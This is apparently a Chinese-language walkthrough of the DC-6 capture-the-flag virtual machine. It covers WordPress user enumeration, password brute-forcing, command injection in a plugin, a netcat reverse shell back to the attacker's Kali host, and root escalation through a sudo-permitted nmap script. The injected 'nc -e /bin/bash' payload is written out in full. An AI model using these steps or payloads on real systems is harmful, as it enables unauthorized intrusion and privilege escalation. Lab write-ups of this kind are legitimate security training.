靶机需要在与kali机在同一网段下:
DC-6的界面:
是一个登录界面,但是并没有密码和用户名,目的是获得root目录下的flag
第一步:信息收集
1.kali机的IP:192.168.13.128
2.使用kali获得dc6的IP:192.168.13.129
3.进入root权限扫描该局域网中正在使用的主机:
4.实行web扫描靶机ip:
获得了一个网址:http://wordy/
5.登录该网址:
查看该网站后并么有发现什么新的东西
6.对该网址进行目录扫描:
可以看到一个 http://wordy/wp-admin/网站,进行登录:
是一个登录界面,需要获得用户名和密码
7.扫描该网址的用户登录情况:
获得的用户名,将其用户名添加至桌面的user.txt:
8.现在就需要获得密码,根据官方的提示可以得到:
可以得到密码本的获得方式:
Cat /usr/share/wordlists/rockyou.txt |grep k01 >password.txt
其中rockyou是一个压缩包,需要进行解压后才可以使用:gunzip rockyou.txt.gz rockyou.txt
为了方便使用将password.txt移动到桌面:
9.获得了password和user的密码集,那么就可以进行爆破,可以使用burp也可以使用wpscan
连接普通用户的桌面:
获得了用户名和密码:
Mark helpdesk01
进行登录:
登录成功
第一部分信息收集就完成了
kali机ip:192.168.13.128
Dc6靶机ip:192.168.13.129
dc靶机的网站:http://wordy/以及登录界面:http://wordy/wp-admin/
登录界面的用户和密码:mark helpdesk01
Dc6靶机的开放端口:22 ssh 和 80 http
第二部分,进行漏洞获得:
1.对登录界面审查得到,该网址使用了插件:Activity on Wordy
对该插件进行漏洞审查:
可以得到存在远程命令执行漏洞
那么就去网站看看漏洞的位置:
在插件的tool中看到一个可能存在远程命令执行漏洞的地方:
果然存在,而且输入框没有对ls等代码进行过滤,但是他对长度进行了限制
使用burp继续进行查看,打开代理:
使用burp进行抓包:
可以进行抓包以及进行执行命令
2.现在就需要对192.168.13.129的端口4444进行监听用来反弹shell
对代码进行更改:127.0.0.1| nc -e /bin/bash -lp 192.168.13.128 4444
在终端打开对靶机的监听:
3.进入shell交互界面:
python3 -c "import pty;pty.spawn('/bin/bash')"代码的使用环境:
python -c 'import pty;pty.spawn("/bin/bash")' 命令的用途是在某些情况下改进当前终端的功能和体验。它有以下几个主要的应用场景:
- 提升交互式终端功能:在某些情况下,当你在交互式终端中运行特定的命令时,可能会发现某些功能受限。使用上述 Python 命令可以创建一个伪终端(pseudo-terminal),以提供更强大的交互式终端功能,如使用箭头键浏览历史记录、自动补全等。
- 绕过特殊终端限制:有时,当你连接到远程主机或在某些环境下执行命令时,终端可能存在一些限制,如禁止使用箭头键、Ctrl+C 无效等。使用上述 Python 命令可以绕过这些限制,从而获得更好的终端交互。
- 提供更好的Shell体验:通常情况下,Bash shell 是一个功能强大的工具,提供了许多实用的功能和命令。通过创建一个新的 Bash shell,你可以更方便地在其中执行命令、浏览文件系统、编辑文件等,从而提供更好的 Shell 使用体验。
提供一个更强大,权限更强的交互终端
可以看到已经连接到了cd-6靶机
4.进入家目录:
进入家目录的mark目录下:
发现一个things-to-do.txt,查看它:
发现一个新的用户:
graham,以及他的密码
5.进入该用户下:
进入了该目录,查看其用户的权限:
看来还不是root权限的用户,还是需要进入jens用户才可以
6.进入jens用户:他的目录下存在一个backups.sh,
".sh" 是Shell脚本文件的常见文件扩展名,它指示该文件是使用Shell编程语言编写的脚本
看来这个文件是一个shell脚本,需要对该脚本进行提权:
执行这个命令后,/home/jens/backups.sh文件中就会添加一行内容为/bin/bash。
这意味着脚本文件backups.sh将使用 Bash shell 来执行其中的命令,也就是该脚本进去了虚拟终端,我们可以使用虚拟终端来控制它
7.使用jens的身份去执行该脚本,切换到jens用户
查看权限:
我们发现 jens用户是可以以root身份执行 nmap命令的,
而nmap可以使用 --script来执行脚本文件,
我们这里可以编写一个脚本文件让他弹出一个shell,用sudo来执行我们就可以拿到root了。
运行exe.nse
可以看到root用户了
进行逐级的拆查询看到了flag: